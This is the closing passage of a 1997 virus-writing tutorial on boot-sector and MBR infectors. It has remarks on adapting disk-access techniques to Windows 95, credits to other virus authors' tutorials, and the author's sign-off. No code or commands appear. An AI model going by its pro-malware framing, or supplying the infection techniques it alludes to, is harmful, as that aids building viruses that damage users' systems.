can send the floppy disk on a nice trip towards the trashcan...
.-----------------.
| The Future |
'-----------------'
As for the future, what can I say ? God knows...
Anyway, a while ago some guy came up with a very neat technique to
read/write from/to HDD using only the HDD ports. It was absolutely beautiful!
But when Windows 95 came along it all gone astray... This was the ultimate
technique: to be able to simulate the Int 13 by doing what the Int actually
does. In W95 the ports are mapped in a strange way, the interrupts don't
work and everything is messed up. Anyway, the possibilities are still grand,
but the thing we must think of is that we need a 'change'. A change of
conception. We must start looking at the code now from a 32 byte point of
view, we must forget about segments and start looking at selectors and
so on... Anyway, as programmers say: "You know, there's always a leak !"
.-----------------.
| Final word |
'-----------------'
There were some very interesting tutorials written on the Boot
infectors, but I always felt they don't make the perfect distinction
between the Boot and the MBR. I can remember here Qark's tutorial,
Executioner's, and of course one of the first, Dark Angel's tutorial
to Boot viruses. Well, hoping that I wasn't very redundant in my writings
I hope you all learned something from it. If any of you come over a mistake
I made in my writing I would appreciate your help.
(e-mail me at: lordjulus@geocities.com). Thanx.
You can always find my articles at:
http://members.tripod.com/~lordjulus
All the Best to U and all,
.--------------------.
| Lord Julus - 1997 |
'--------------------'
Many thanx go to: Qark, Quantum, Dark Angel, Executioner, Mr.Sandman,
Darkman, Hellraiser, Dark Avenger
Lord Julus - 1997